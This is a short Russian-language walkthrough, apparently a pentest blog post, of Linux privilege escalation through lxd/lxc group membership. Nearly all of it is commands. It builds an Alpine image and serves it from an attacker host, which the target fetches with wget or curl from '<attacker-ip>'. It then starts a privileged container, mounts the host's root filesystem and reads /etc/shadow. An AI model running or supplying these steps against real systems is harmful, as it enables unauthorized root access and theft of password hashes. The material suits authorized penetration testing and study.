Использование чистого lxc в природе сейчас встретишь не часто, но в некоторых дистрибутивах он есть, например в Ubuntu 20.04.
И раз у нас есть такая крутая штука, то странно ей не воспользоваться.
Вообще это довольно интересный и своеобразный вектор атаки, и пишут про него не особо часто (ну да, ведь везде docker).
Собираем образ на своей машине
1
2
3
| git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine -a i686
|
Скачиваем файл
Полученный файл можно куда-то выгрузить, а можно раздать с веб-сервера, например так:
1
| python3 -m http.server 8080
|
Забираем файл так:
1
| wget http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gz
|
Или так:
1
| curl http://<attacker-ip>:8080/alpine-v3.16-i686-20220603_1113.tar.gz --output alpine-v3.16-i686-20220603_1113.tar.gz
|
Как альтернативный вариант, можем использовать сразу образ из репозитория:
1
| wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/alpine-v3.13-x86_64-20210218_0139.tar.gz
|
Импортируем образ
1
| lxc image import ./alpine*.tar.gz --alias evilimage
|
Предварительно проверяем, используется ли lxc
1
2
3
| ip a | grep lxd
lxc list
lxc image list
|
И если ничего нет, то запускаем начальную настройку:
Запускаем образ
1
| lxc init evilimage evilcontainer -c security.privileged=true
|
Монтируем /root в образ
1
| lxc config device add evilcontainer victimdevice disk source=/ path=/mnt/root recursive=true
|
Запускаем и радуемся результату
1
2
3
| lxc start evilcontainer
lxc exec evilcontainer /bin/sh
cat /mnt/root/etc/shadow
|
Reference
lxd/lxc Group - Privilege escalation
Linux Privilege Escalation – Exploiting the LXC/LXD Groups